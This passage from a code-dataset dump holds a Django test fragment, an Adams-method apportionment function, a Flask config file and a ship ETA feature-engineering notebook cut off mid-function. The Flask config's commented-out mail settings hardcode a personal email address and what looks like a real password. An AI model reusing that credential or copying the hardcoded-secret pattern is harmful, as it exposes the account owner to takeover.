analysis1b.users.all()\n assert user in analysis2b.users.all()\n\n\n\n","sub_path":"topobank/analysis/tests/test_recalculate.py","file_name":"test_recalculate.py","file_ext":"py","file_size_in_byte":3710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"587958356","text":"import math\n\n\ndef calculate_adam(num_seats, populations):\n \"\"\"\n Calculate the initial fair shares, final fair shares, initial quotas, final quotas, initial divisor, and modified\n divisor using Adam's method of apportionment.\n\n :return: A list of initial fair shares, final fair shares, initial quotas, final quotas, initial divisor, \n and modified divisor. \n \"\"\"\n\n # Record divisors.\n estimated_divisors = []\n\n # The number of states to apportion to.\n num_states = len(populations)\n\n # The initial divisor\n initial_divisor = sum(populations) / num_seats\n estimated_divisors.append(initial_divisor)\n\n # The original state quotas respectively.\n initial_quotas = []\n for i, population in enumerate(populations):\n initial_quotas.append(population / initial_divisor)\n\n # The initial state fair shares respectively.\n initial_fair_shares = []\n for i, quota in enumerate(initial_quotas):\n initial_fair_shares.append(math.ceil(quota))\n\n # Initialize the final quota and original quota list values.\n final_quotas = []\n\n # Initialize the modified divisor variable.\n # At this point, the modified divisor is the same as the original divisor value.\n modified_divisor = sum(populations) / num_seats\n\n # Calculate the original quota values.\n # At this point, the final quotas list is the same as the original quotas list.\n for i, population in enumerate(populations):\n final_quotas.append(population / modified_divisor)\n\n # Initialize the final fair shares list to list of zeros.\n final_fair_shares = [0] * num_states\n\n # Initialize an estimator to use in changing the quotas if they need to be reapportioned.\n estimator = sum(populations) / num_seats\n\n # Initialize a time keeper to break from the loop if apportionment is impossible.\n time_keeper = 0\n\n # Start the apportionment process.\n while sum(final_fair_shares) != num_seats:\n if time_keeper == 5000:\n break\n for i, quota in enumerate(final_quotas):\n final_fair_shares[i] = math.ceil(quota)\n\n # Recalculate the divisor if the seats are not fully apportioned.\n if sum(final_fair_shares) != num_seats:\n\n # Increase the modified divisor if it is too little.\n if sum(final_fair_shares) > num_seats:\n modified_divisor += estimator\n\n # Decrease the modified divisor if it is too high\n else:\n modified_divisor -= estimator\n\n # Decrease the estimator so the next loop will not result in the previous modified divisor\n estimator = estimator / 2\n\n # The modified divisor cannot ever be 0 (prevents divide by 0 error)\n if modified_divisor == 0:\n modified_divisor = 1\n\n # Recalculate the quotas with the updated modified divisor.\n for i, population in enumerate(populations):\n final_quotas[i] = population / modified_divisor\n\n # Reapportion the seats to states given a set of new quotas.\n for i, quota in enumerate(final_quotas):\n final_fair_shares[i] = math.ceil(quota)\n\n # Save updated divisor.\n estimated_divisors.append(modified_divisor)\n\n time_keeper += 1\n\n # If the loop didn't naturally end, return null values.\n if time_keeper == 5000:\n raise Exception(\"Incalculable values.\")\n\n # Return a list for final fair shares, final quotas and a value for the modified divisor.\n else:\n return initial_fair_shares, final_fair_shares, initial_quotas, final_quotas, initial_divisor, modified_divisor \\\n , estimated_divisors\n","sub_path":"apportionpy/methods/adam.py","file_name":"adam.py","file_ext":"py","file_size_in_byte":3700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"74170740","text":"\"\"\"\n\tConfiguration will be set up as an object named \"Config\" with a list\n of attributes or members as config variables\n\"\"\"\nimport os\nimport pickle\nbasedir = os.path.abspath(os.path.dirname(__file__))\nfrom webapp.models import Mlmodel\n\"\"\"\nbasedir is:\n.../DIPLOMADO-UPEL-EducacionUniversitaria/TEMAS-o-AREAS/COMPUTER-SCIENCE/EJEMPLOS/PYTHON/FLASK/sentimentpredictor\n\"\"\"\n#print(\"Base dir is: {}\".format(basedir))\nclass Config(object):\n \"\"\" if no OS env variable is set, SECRET_KEY will assume the hardcoded string as its value \"\"\"\n SECRET_KEY = os.environ.get('SECRET_KEY') or 'you-will-never-guess'\n \"\"\"\n\tThe location of the application's database. If the DATABASE_URL envvar is not set,\n\tthen\n \"\"\"\n \"\"\"\n MAIL_SERVER = os.environ.get('MAIL_SERVER') or 'smtp.gmail.com'\n MAIL_PORT = int(os.environ.get('MAIL_PORT') or 465 )\n MAIL_USE_SSL = os.environ.get('MAIL_USE_SSL') or True\n #MAIL_USE_TLS = int(os.environ.get('MAIL_USE_TLS') or 1)#\n MAIL_USERNAME = os.environ.get('MAIL_USERNAME') or 'victor.liendo@gmail.com'\n MAIL_PASSWORD = os.environ.get('MAIL_PASSWORD') or 'Jwl10_c3sar'\n ADMINS = ['victor.liendo@gmail.com']\n \"\"\"\n \"\"\" For email management during development phase\n\t\tDEBUG MODE MUST BE SET TO 0, and the FAKE email server must be running\n\t\tpython -m smtpd -n -c DebuggingServer localhost:8025\n \"\"\"\n\n MAIL_SERVER = os.environ.get('MAIL_SERVER') or 'localhost'\n MAIL_PORT = int(os.environ.get('MAIL_PORT') or 8025)\n ADMINS = ['victor.liendo@gmail.com']\n print(\"HOLA Base dir is: {}\".format(basedir))\n \"\"\"THE PREVIOUSLY SAVED ML MODEL\"\"\"\n MODEL = pickle.load(open(os.path.join(basedir, 'ML-model/LR-with-CountVectorizer-for-SentimentAnalisis.pkl'), 'rb'))\n VECTOR = pickle.load(open(os.path.join(basedir, 'ML-model/CountVectorizer-vector.pkl'), 'rb'))\n APPMODEL=Mlmodel(MODEL,VECTOR)\n print(APPMODEL.get_model_type())\n print(APPMODEL.get_vector_type())\n","sub_path":"sentimentpredictor/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"212408315","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport glob\nimport os\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pylab as plt\nfrom sklearn.model_selection import KFold\nimport lightgbm as lgb\nimport requests\nfrom sklearn.model_selection import StratifiedKFold\nfrom lightgbm.sklearn import LGBMClassifier\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.metrics import roc_auc_score, f1_score,mean_squared_error,explained_variance_score\nfrom scipy.stats import entropy, kurtosis\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split \nimport pickle\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nimport time\nimport datetime\nimport gc\nimport warnings\n\nwarnings.filterwarnings('ignore')\npd.set_option('display.max_columns', None)\n\n\n# In[2]:\n\n\ndef reduce_mem(df):\n start_mem = df.memory_usage().sum() / 1024 ** 2\n for col in df.columns:\n col_type = df[col].dtypes\n if col_type != object:\n c_min = df[col].min()\n c_max = df[col].max()\n if str(col_type)[:3] == 'int':\n if c_min > np.iinfo(np.int8).min and c_max < np.iinfo(np.int8).max:\n df[col] = df[col].astype(np.int8)\n elif c_min > np.iinfo(np.int16).min and c_max < np.iinfo(np.int16).max:\n df[col] = df[col].astype(np.int16)\n elif c_min > np.iinfo(np.int32).min and c_max < np.iinfo(np.int32).max:\n df[col] = df[col].astype(np.int32)\n elif c_min > np.iinfo(np.int64).min and c_max < np.iinfo(np.int64).max:\n df[col] = df[col].astype(np.int64)\n else:\n if c_min > np.finfo(np.float16).min and c_max < np.finfo(np.float16).max:\n df[col] = df[col].astype(np.float16)\n elif c_min > np.finfo(np.float32).min and c_max < np.finfo(np.float32).max:\n df[col] = df[col].astype(np.float32)\n else:\n df[col] = df[col].astype(np.float64)\n end_mem = df.memory_usage().sum() / 1024 ** 2\n print('{:.2f} Mb, {:.2f} Mb ({:.2f} %)'.format(start_mem, end_mem, 100 * (start_mem - end_mem) / start_mem))\n gc.collect()\n return df\n\n\n# In[3]:\n\n\ndata = pd.read_pickle('./data/sample_180.pkl')\ndata['timestamp'] = data['timestamp'].astype('str')\ndata = reduce_mem(data)\ngc.collect()\n\n\n# In[4]:\n\n\ntest = pd.read_csv('./data/Btest0711_ALL.csv')\ntrain1 = pd.read_csv('./data/R2 ATest 0711.csv')\ntrain1_label = base = pd.read_csv('./data/Abase.csv')\nport = pd.read_csv('./data/port_2.csv')\n\n\n# In[5]:\n\n\n#去掉A榜测试数据中被删掉的评分订单，用于之后加入训练数据进行训练\nl1 = ['AC860038925693',\n'CS952075060675',\n'DM428031991357',\n'DS626552529494',\n'EI581767201011',\n'GA472803281061',\n'HL358914564422',\n'JE845105704656',\n'LK919030439899',\n'LR291426429726',\n'LY233998601535',\n'NJ417242079579',\n'PP710466021916',\n'PQ602767500334',\n'QF723400588858',\n'UK663883669352',\n'VJ323567531982',\n'ZQ798500357614',\n'ZS950908209190']\ntrain1 = train1[~train1['loadingOrder'].isin(l1)].reset_index(drop=True)\ntrain1_label = train1_label[~train1_label['loadingOrder'].isin(l1)].reset_index(drop=True)\n\n\n# In[6]:\n\n\n#数据去重\ndata1 = data.drop_duplicates(['loadingOrder','timestamp','vesselMMSI'])\ndel data\n\n\n# ### 将所有的文件按照时间顺序进行排序\n\n# In[7]:\n\n\ndata1['timestamp'] = pd.to_datetime(data1['timestamp'], infer_datetime_format=True)\ndata1 = data1.groupby(['loadingOrder','vesselMMSI']).apply(lambda x: x.sort_values('timestamp')).reset_index(drop=True)\n\n\n# In[8]:\n\n\ntrain1['timestamp'] = pd.to_datetime(train1['timestamp'], infer_datetime_format=True)\ntrain1 = train1.groupby(['loadingOrder','vesselMMSI']).apply(lambda x: x.sort_values('timestamp')).reset_index(drop=True)\n\n\n# In[9]:\n\n\ntest['timestamp'] = pd.to_datetime(test['timestamp'], infer_datetime_format=True)\ntest = test.groupby(['loadingOrder','vesselMMSI']).apply(lambda x: x.sort_values('timestamp')).reset_index(drop=True)\n\n\n# In[10]:\n\n\n#数据去重\ndata1 = data1.drop_duplicates(['longitude','vesselMMSI','latitude','loadingOrder'])\ntest = test.drop_duplicates(['longitude','vesselMMSI','latitude','loadingOrder'])\ntrain1 = train1.drop_duplicates(['longitude','vesselMMSI','latitude','loadingOrder'])\n\n\n# ### 数据清洗\n\n# In[11]:\n\n\ndef get_sample_anchor(df):\n # 转化为360度数\n df['timestamp'] = pd.to_datetime(df['timestamp'], infer_datetime_format=True) \n tmp=df.groupby(['loadingOrder','vesselMMSI'])\n df['lat_diff'] = tmp['latitude'].diff(1)\n df['lon_diff'] = tmp['longitude'].diff(1)\n df['diff_seconds'] = tmp['timestamp'].diff(1).dt.total_seconds()\n #df['change_ratio'] = (abs(df['lat_diff'])+abs(df['lon_diff']))/((df['diff_seconds'])/60)\n return df\ndata1 = get_sample_anchor(data1)\ntest = get_sample_anchor(test)\ntrain1 = get_sample_anchor(train1)\ngc.collect()\n\n\n# In[12]:\n\n\n#test = test[test['diff_seconds']>=30]\n#去掉训练数据中出现两次及以上数据大量偏移的数据\nl1 = []\nfor i,v in data1[((abs(data1['lon_diff'])+abs(data1['lat_diff']))>20)&(abs(data1['diff_seconds'])<86400)].loadingOrder.value_counts().items():\n if v>1:\n l1.append(i)\ndata1 = data1[~(data1['loadingOrder'].isin(l1))]\ndel l1\n'''#同理去除停港时间很长的数据\nl1 = list(data1[(data1['diff_seconds']>864000)&((abs(data1['lon_diff'])+abs(data1['lat_diff']))<1)].loadingOrder.value_counts().index)\ndata1 = data1[~(data1['loadingOrder'].isin(l1))]\ndel l1'''\ngc.collect()\n\n\n# In[13]:\n\n\n#去除direction为-1，和时间差为0的数据，速度小于0或大于等于40的也删除\ndef get_train_sample(df):\n #df = df.loc[df['direction'] != -1]\n df = df.loc[df['diff_seconds'] != 0]\n df = df.loc[(df['speed']>=0)]\n #df = df.loc[(df['speed']>=0)&(df['speed']<=50)]\n del df['lat_diff'],df['lon_diff'],df['diff_seconds']\n return df\ndef get_test_sample(df):\n #df = df.loc[df['direction'] != -1]\n df = df.loc[df['diff_seconds'] != 0]\n df = df.loc[(df['speed']>=0)]\n #df = df.loc[(df['speed']>=0)&(df['speed']<=50)]\n del df['lat_diff'],df['lon_diff'],df['diff_seconds']\n return df\ndata1 = get_train_sample(data1)\ntest = get_test_sample(test)\ntrain1 = get_test_sample(train1)\ngc.collect()\n\n\n# In[14]:\n\n\ntrain1['timestamp'] = train1['timestamp'].apply(lambda x:x.strftime('%Y/%m/%d %H:%M:%S'))\ntrain1['timestamp'] = pd.to_datetime(train1['timestamp'], infer_datetime_format=True)\n\n\n# ### 经纬度特征获取与清洗\n\n# In[15]:\n\n\ndata1 = data1.loc[data1['TRANSPORT_TRACE'].notnull()]\ndata1['len'] = data1['TRANSPORT_TRACE'].str.split('-')\ndata1['len'] = data1['len'].str.len()\ndata1 = data1.loc[(data1['len']>=2)]\ngc.collect()\n\n\n# In[16]:\n\n\ntest['len'] = test['TRANSPORT_TRACE'].str.split('-')\ntest['len'] = test['len'].str.len()\ngc.collect()\n\n\n# In[17]:\n\n\ntrain1['len'] = train1['TRANSPORT_TRACE'].str.split('-')\ntrain1['len'] = train1['len'].str.len()\ngc.collect()\n\n\n# In[18]:\n\n\n#获取起始点和终点岗口\ndef get_pot(df):\n df['start_pot'] = df['TRANSPORT_TRACE'].str.split('-').apply(lambda x:x[0])\n df['end_pot'] = df['TRANSPORT_TRACE'].str.split('-').apply(lambda x:x[-1])\n return df\ntrain = get_pot(data1)\ntrain['timestamp'] = train['timestamp'].astype('str')\ntrain = reduce_mem(train)\ntest = get_pot(test)\ntrain1 = get_pot(train1)\ndel data1\ngc.collect()\n\n\n# ### 将起点和终点港口多名称的进行统一，并选取与test相同起始和终点的数据\n\n# In[19]:\n\n\nhk=['HONGKONG','CNHKG','HKHKG','HKG','HONG KONG_HONG KONG','CNSHK']\nsz=['CNDCB','CNNSA','YANTIAN','SZX','SHEKOU','CNYTN','YTN','CNCWN','CNSHK','DEHAM','HON']\nfos=['FRFOS','FOS']\nbey=['LBBEY','BEY']\ntnc=['ESALG','TNTUN','MAPTM']\n\n\n# In[20]:\n\n\ntrain.loc[train.end_pot.isin(hk),'end_pot']='CNHKG'\ntrain.loc[train.end_pot.isin(sz),'end_pot']='CNYTN'\ntrain.loc[train.end_pot.isin(fos),'end_pot']='FOS'\ntrain.loc[train.end_pot.isin(tnc),'end_pot']=tnc[0]\ngc.collect()\n\n\n# In[21]:\n\n\ntest.loc[test.end_pot.isin(hk),'end_pot']='CNHKG'\ntest.loc[test.end_pot.isin(sz),'end_pot']='CNYTN'\ntest.loc[test.end_pot.isin(fos),'end_pot']='FOS'\ntest.loc[test.end_pot.isin(tnc),'end_pot']=tnc[0]\ngc.collect()\n\n\n# In[22]:\n\n\ntrain1.loc[train1.end_pot.isin(hk),'end_pot']='CNHKG'\ntrain1.loc[train1.end_pot.isin(sz),'end_pot']='CNYTN'\ntrain1.loc[train1.end_pot.isin(fos),'end_pot']='FOS'\ntrain1.loc[train1.end_pot.isin(tnc),'end_pot']=tnc[0]\ngc.collect()\n\n\n# In[23]:\n\n\ntrain['tra'] = train['start_pot'] + '-' + train['end_pot']\ntest['tra'] = test['start_pot'] + '-' + test['end_pot']\ntrain1['tra'] = train1['start_pot'] + '-' + train1['end_pot']\ngc.collect()\n\n\n# In[24]:\n\n\n#获取相同路由数据\ntrain = train[train['tra'].isin(list(test['tra'].value_counts().index))]\n\n\n# ### 获取港口经纬度\n\n# In[25]:\n\n\n#test添加起始港口和终点港口的坐标\nport1 = port[['TRANS_NODE_NAME','LONGITUDE','LATITUDE']].rename(columns={'TRANS_NODE_NAME':'start_pot','LONGITUDE':\n 'start_long','LATITUDE':'start_lat'})\nport2 = port[['TRANS_NODE_NAME','LONGITUDE','LATITUDE']].rename(columns={'TRANS_NODE_NAME':'end_pot','LONGITUDE':\n 'end_long','LATITUDE':'end_lat'})\ntest = test.merge(port1,on='start_pot',how='left')\ntest = test.merge(port2,on='end_pot',how='left')\ndel port1,port2\ngc.collect()\n\n\n# In[26]:\n\n\n#test添加起始港口和终点港口的坐标\nport1 = port[['TRANS_NODE_NAME','LONGITUDE','LATITUDE']].rename(columns={'TRANS_NODE_NAME':'start_pot','LONGITUDE':\n 'start_long','LATITUDE':'start_lat'})\nport2 = port[['TRANS_NODE_NAME','LONGITUDE','LATITUDE']].rename(columns={'TRANS_NODE_NAME':'end_pot','LONGITUDE':\n 'end_long','LATITUDE':'end_lat'})\ntrain1 = train1.merge(port1,on='start_pot',how='left')\ntrain1 = train1.merge(port2,on='end_pot',how='left')\ndel port1,port2\ngc.collect()\n\n\n# In[27]:\n\n\nport1 = port[['TRANS_NODE_NAME','LONGITUDE','LATITUDE']].rename(columns={'TRANS_NODE_NAME':'start_pot','LONGITUDE':\n 'start_long_1','LATITUDE':'start_lat_1'})\nport2 = port[['TRANS_NODE_NAME','LONGITUDE','LATITUDE']].rename(columns={'TRANS_NODE_NAME':'end_pot','LONGITUDE':\n 'end_long_1','LATITUDE':'end_lat_1'})\ntrain = train.merge(port1,on='start_pot',how='left')\ntrain = train.merge(port2,on='end_pot',how='left')\ndel port1,port2\ngc.collect()\n\n\n# In[28]:\n\n\n#train添加起始港口和终点港口的坐标\ntmp=train.drop_duplicates('loadingOrder',keep='last')\ntmp = tmp[['loadingOrder','longitude','latitude']].rename(columns={'longitude':\n 'end_long','latitude':'end_lat'})\ntmp1=train.drop_duplicates('loadingOrder',keep='first')\ntmp1 = tmp1[['loadingOrder','longitude','latitude']].rename(columns={'longitude':\n 'start_long','latitude':'start_lat'})\ntrain = train.merge(tmp,on='loadingOrder',how='left')\ntrain = train.merge(tmp1,on='loadingOrder',how='left')\ntrain = reduce_mem(train)\ngc.collect()\n\n\n# In[29]:\n\n\ntrain = train.loc[train['start_long'].notnull()]\ntrain = train.loc[train['start_lat'].notnull()]\ntrain = train.loc[train['end_long'].notnull()]\ntrain = train.loc[train['end_lat'].notnull()]\ngc.collect()\n\n\n# In[30]:\n\n\ntrain = train.loc[(abs(train['start_long'] - train['start_long_1'])+abs(train['start_lat'] - train['start_lat_1']))<5] \ntrain = train.loc[(abs(train['end_long'] - train['end_long_1'])+abs(train['end_lat'] - train['end_lat_1']))<5]\ndel train['start_long_1'],train['start_lat_1'],train['end_long_1'],train['end_lat_1']\ntrain = reduce_mem(train)\ngc.collect()\n\n\n# In[31]:\n\n\n#将A榜测试数据加入到训练数据中一起构建特征\ndel train1['onboardDate']\ntrain = pd.concat([train,train1],axis=0).reset_index(drop=True)\n\n\n# ### 根据数据中的路由特征按照中间港近似得到船的航行路程\n\n# In[32]:\n\n\nport3 = pd.read_csv('./data/port_3.csv')\n\n\n# In[33]:\n\n\n#将数据按照路由长度分开\ndef get_int(df):\n df['longitude1'] = df['longitude'].astype(int) // 3 * 3\n df['latitude1'] = df['latitude'].astype(int) // 3 * 3\n return df\n#两路由的数据每个点的前一个和后一个港就是首尾港\ndef get_2_trace(df):\n df['pre_pot'] = df['start_pot']\n df['next_pot'] = df['end_pot']\n df['pre_gap'] = 0\n df['next_gap'] = 0\n df['pre_long_gap'] = 0\n df['pre_lat_gap'] = 0\n df['next_long_gap'] = 0\n df['next_lat_gap'] = 0\n return df\ntrain = get_int(train)\ntest = get_int(test)\ntrain_1 = train[train['len']==2].reset_index(drop=True)\ntrain_2 = train[train['len']>2].reset_index(drop=True)\ntest_1 = test[test['len']==2].reset_index(drop=True)\ntest_2 = test[test['len']>2].reset_index(drop=True)\ntrain_1 = get_2_trace(train_1)\ntest_1 = get_2_trace(test_1)\ngc.collect()\n\n\n# In[34]:\n\n\nimport operator\n#获取当前点的前后港口\ndef get_cur_port(df): \n data1 = pd.DataFrame()\n df1 = df.drop_duplicates(['TRANSPORT_TRACE','longitude1','latitude1']).reset_index(drop=True)\n for i in df1.index:\n tmp = df1.iloc[i:i+1]\n l1 = list(list(tmp.TRANSPORT_TRACE.value_counts().index).pop().split('-'))\n c = dict()\n d = []\n for j in l1:\n if j not in list(port3['TRANS_NODE_NAME'].value_counts().index):\n l1.remove(j)\n l2 = l1\n if len(l2)<2:\n continue\n for k in range(len(l2)):\n c[k] = (abs(port3[port3['TRANS_NODE_NAME']==l2[k]].LONGITUDE.values-tmp.longitude.values)+\n abs(port3[port3['TRANS_NODE_NAME']==l2[k]].LATITUDE.values - tmp.latitude.values))\n C = sorted(c.items(),key=operator.itemgetter(1))\n a = C[0][0]\n b = C[1][0]\n if a > b:\n a,b = b,a\n tmp['pre_pot'] = l2[a]\n tmp['next_pot'] = l2[b]\n s1 = ''\n s2 = ''\n for i in l2[:a+1]:\n s1 += '-'+i\n for i in l2[b:]:\n s2 += '-'+i\n tmp['pre_trace'] = s1[1:]\n tmp['next_trace'] = s2[1:]\n data1 = pd.concat([data1,tmp],axis=0)\n del tmp\n return data1\ntest2 = get_cur_port(test_2)\ntest2 = test2[['TRANSPORT_TRACE','longitude1','latitude1','pre_pot','next_pot','pre_trace','next_trace']]\ntest_2 = test_2.merge(test2,on=['TRANSPORT_TRACE','longitude1','latitude1'],how='left')\ntrain2 = get_cur_port(train_2)\ntrain2 = train2[['TRANSPORT_TRACE','longitude1','latitude1','pre_pot','next_pot','pre_trace','next_trace']]\ntrain_2 = train_2.merge(train2,on=['TRANSPORT_TRACE','longitude1','latitude1'],how='left')\ngc.collect()\n\n\n# In[35]:\n\n\n#获取前后的距离差值\ndef get_pre_next_gap(df):\n df1 = df.drop_duplicates(['TRANSPORT_TRACE','pre_pot','next_pot']).reset_index(drop=True)\n merge_gap = pd.DataFrame()\n for i in df1.index:\n tmp = df1.iloc[i:i+1]\n c = d = 0\n d_long = d_lat = 0\n d_dis = 0\n c_long = c_lat = 0\n l1 = list(list(tmp.pre_trace.value_counts().index).pop().split('-'))\n l2 = list(list(tmp.next_trace.value_counts().index).pop().split('-'))\n if len(l1)>1:\n for k in range(len(l1)-1):\n if k+1 <= len(l1)-1:\n d += (abs(port3[port3['TRANS_NODE_NAME']==l1[k+1]].LONGITUDE.values - port3[port3['TRANS_NODE_NAME']==l1[k]].LONGITUDE.values)+\n abs(port3[port3['TRANS_NODE_NAME']==l1[k+1]].LATITUDE.values - port3[port3['TRANS_NODE_NAME']==l1[k]].LATITUDE.values))\n d_long += abs(port3[port3['TRANS_NODE_NAME']==l1[k+1]].LONGITUDE.values - port3[port3['TRANS_NODE_NAME']==l1[k]].LONGITUDE.values)\n d_lat += abs(port3[port3['TRANS_NODE_NAME']==l1[k+1]].LATITUDE.values - port3[port3['TRANS_NODE_NAME']==l1[k]].LATITUDE.values)\n #d_dis += distance(port3[port3['TRANS_NODE_NAME']==l1[k]].LATITUDE.values,port3[port3['TRANS_NODE_NAME']==l1[k+1]].LATITUDE.values,\n #port3[port3['TRANS_NODE_NAME']==l1[k]].LONGITUDE.values,port3[port3['TRANS_NODE_NAME']==l1[k+1]].LONGITUDE.values)\n else:\n d = 0\n d_long = 0\n d_lat = 0\n #d_dis = 0\n tmp['pre_gap'] = d\n tmp['pre_long_gap'] = d_long\n tmp['pre_lat_gap'] = d_lat\n #tmp['pre_distance'] = d_dis\n if len(l2)>1:\n for k in range(len(l2)-1):\n if k+1 <= len(l2)-1:\n c += (abs(port3[port3['TRANS_NODE_NAME']==l2[k+1]].LONGITUDE.values - port3[port3['TRANS_NODE_NAME']==l2[k]].LONGITUDE.values)+\n abs(port3[port3['TRANS_NODE_NAME']==l2[k+1]].LATITUDE.values - port3[port3['TRANS_NODE_NAME']==l2[k]].LATITUDE.values))\n c_long += abs(port3[port3['TRANS_NODE_NAME']==l2[k+1]].LONGITUDE.values - port3[port3['TRANS_NODE_NAME']==l2[k]].LONGITUDE.values)\n c_lat += abs(port3[port3['TRANS_NODE_NAME']==l2[k+1]].LATITUDE.values - port3[port3['TRANS_NODE_NAME']==l2[k]].LATITUDE.values)\n else:\n c = 0\n c_long = 0\n c_lat = 0\n tmp['next_gap'] = c\n tmp['next_long_gap'] = c_long\n tmp['next_lat_gap'] = c_lat\n merge_gap = pd.concat([merge_gap,tmp],axis=0)\n return merge_gap\ntest_merge_gap = get_pre_next_gap(test_2)\ntest_merge_gap = test_merge_gap[['TRANSPORT_TRACE','pre_pot','next_pot','pre_gap','next_gap','pre_long_gap','pre_lat_gap','next_long_gap','next_lat_gap']]\ntest_2 = test_2.merge(test_merge_gap,on=['TRANSPORT_TRACE','pre_pot','next_pot'],how='left')\ndel test_merge_gap\ndel test_2['pre_trace'],test_2['next_trace']\ntrain_merge_gap = get_pre_next_gap(train_2)\ntrain_merge_gap = train_merge_gap[['TRANSPORT_TRACE','pre_pot','next_pot','pre_gap','next_gap','pre_long_gap','pre_lat_gap','next_long_gap','next_lat_gap']]\ntrain_2 = train_2.merge(train_merge_gap,on=['TRANSPORT_TRACE','pre_pot','next_pot'],how='left')\ndel train_merge_gap\ndel train_2['pre_trace'],train_2['next_trace']\n\n\n# In[36]:\n\n\ntrain = pd.concat([train_1,train_2],axis=0).reset_index(drop=True)\ntest = pd.concat([test_1,test_2],axis=0).reset_index(drop=True)\ndef get_gap(df):\n #将前后港口的经纬度merge进去，用当前的与其相减得到到前后港的距离\n port1 = port3[['TRANS_NODE_NAME','LONGITUDE','LATITUDE']].rename(columns={'TRANS_NODE_NAME':'pre_pot','LONGITUDE':\n 'pre_long','LATITUDE':'pre_lat'})\n port2 = port3[['TRANS_NODE_NAME','LONGITUDE','LATITUDE']].rename(columns={'TRANS_NODE_NAME':'next_pot','LONGITUDE':\n 'next_long','LATITUDE':'next_lat'})\n df = df.merge(port1,on='pre_pot',how='left')\n df = df.merge(port2,on='next_pot',how='left')\n del port1,port2\n df['start_gap'] = (abs(df['longitude']-df['pre_long']) + abs(df['latitude']-df['pre_lat'])) + df['pre_gap']\n df['end_gap'] = (abs(df['longitude']-df['next_long']) + abs(df['latitude']-df['next_lat'])) + df['next_gap']\n #--------------------------------------------------------------------------------------------------------------\n df['start_long_gap'] = abs(df['longitude']-df['pre_long']) + df['pre_long_gap']\n df['start_lat_gap'] = abs(df['latitude']-df['pre_lat']) + df['pre_lat_gap']\n df['end_long_gap'] = abs(df['longitude']-df['next_long']) + df['next_long_gap']\n df['end_lat_gap'] = abs(df['latitude']-df['next_lat']) + df['next_lat_gap']\n #df['have_run_distance'] = distance(df.latitude.values,df.pre_lat.values,df.longitude.values,df.pre_long.values)\n #df['cumsum_distance'] = df['have_run_distance'] + df['pre_distance']\n del df['pre_long'],df['pre_gap'],df['next_long'],df['next_gap'],df['longitude1'],df['latitude1'],df['pre_lat'],df['next_lat']\n del df['pre_long_gap'],df['pre_lat_gap'],df['next_long_gap'],df['next_lat_gap']#,df['have_run_distance'],df['pre_distance']\n return df\ntrain = get_gap(train)\ntest = get_gap(test)\ngc.collect()\n\n\n# In[37]:\n\n\ndef get_all_trace(df): \n #尝试根据路由构建总的经纬度的变化值\n dic1 = dict()\n for i in list(df['TRANSPORT_TRACE'].value_counts().index):\n l1 = list(i.split('-'))\n c = 0\n for j in l1:\n if j not in list(port3['TRANS_NODE_NAME'].value_counts().index):\n l1.remove(j)\n l2 = l1\n for k in range(len(l2)-1):\n if k+1 <= len(l2):\n c += (abs(port3[port3['TRANS_NODE_NAME']==l2[k+1]].LONGITUDE.values - port3[port3['TRANS_NODE_NAME']==l2[k]].LONGITUDE.values)+\n abs(port3[port3['TRANS_NODE_NAME']==l2[k+1]].LATITUDE.values - port3[port3['TRANS_NODE_NAME']==l2[k]].LATITUDE.values))\n dic1[i] = c\n del l1,l2\n for i,v in dic1.items():\n if v > 0:\n dic1[i] = float('%.6f'%v)\n else:\n dic1[i] = 0\n return dic1\nmap_dic_train = get_all_trace(train)\nmap_dic_test = get_all_trace(test)\ntrain['all_gap']=train['TRANSPORT_TRACE'].map(map_dic_train)\ntest['all_gap']=test['TRANSPORT_TRACE'].map(map_dic_test)\n\n\n# ### 特征构建\n\n# In[38]:\n\n\ndef get_data(data, model='train'):\n #转换成时间戳，并且将每个运单按照时间排序\n assert model=='train' or model=='test'\n data.sort_values(['loadingOrder','vesselMMSI','timestamp'],inplace=True)\n if model=='train':\n pass\n# data['vesselNextportETA'] = pd.to_datetime(data['vesselNextportETA'], infer_datetime_format=True) \n else:\n data['onboardDate'] = pd.to_datetime(data['onboardDate'], infer_datetime_format=True)\n data['timestamp'] = pd.to_datetime(data['timestamp'], infer_datetime_format=True) \n return data\ndef get_anchor(df):\n # 转化为360度数\n df['direction']=df['direction'].values/10\n tmp=df.groupby(['loadingOrder','vesselMMSI'])\n df['lat_diff'] = abs(tmp['latitude'].diff(1))\n df['lon_diff'] = abs(tmp['longitude'].diff(1))\n df['speed_diff'] = abs(tmp['speed'].diff(1))\n df['direction_diff']= abs(tmp['direction'].diff(1))\n df['diff_seconds'] = tmp['timestamp'].diff(1).dt.total_seconds()\n ### 这样实际是做了一个采样！！ #可以去除重复的记录\n df['anchor'] =((abs(df['lat_diff'])<= 0.03)&(abs(df['lon_diff']) <= 0.03)&(abs(df['speed_diff']) <= 0.3)).astype('int')\n ### 这里标记下船几乎停止的地方\n df['stop']=((abs(df['lat_diff']) <= 0.03)&(abs(df['lon_diff']) <= 0.03)&(abs(df['speed']) <= 1)).astype('int')\n df['delay']=(abs(df['diff_seconds'])>3000).astype('int')\n #diff特征需要除以时间差距\n df['lat_diff'] = df['lat_diff'] / (df['diff_seconds'] / 3600)\n df['lon_diff'] = df['lon_diff'] / (df['diff_seconds'] / 3600)\n df['speed_diff'] = df['speed_diff'] / (df['diff_seconds'] / 3600)\n df['direction_diff'] = df['direction_diff'] / (df['diff_seconds'] / 3600)\n #记录是否停港\n #df['stop']=((abs(df['lat_diff'])<0.02)&(abs(df['lon_diff'])<0.02)&(abs(df['speed'])<10)).astype('int')\n #df['stop_times']=(df['stop']*df['diff_seconds']).cumsum()//3600\n return df\ndef distance(LatA,LatB,LonA,LonB):\n EARTH_RADIUS = 6378.137 # 千米\n def rad(d):\n return d * np.pi/ 180.0\n s=0\n radLatA = rad(LatA)\n radLatB = rad(LatB) \n a = radLatA-radLatB\n b = rad(LonA)-rad(LonB)\n s= 2 * np.arcsin(np.sqrt(np.power(np.sin(a / 2),2)+ 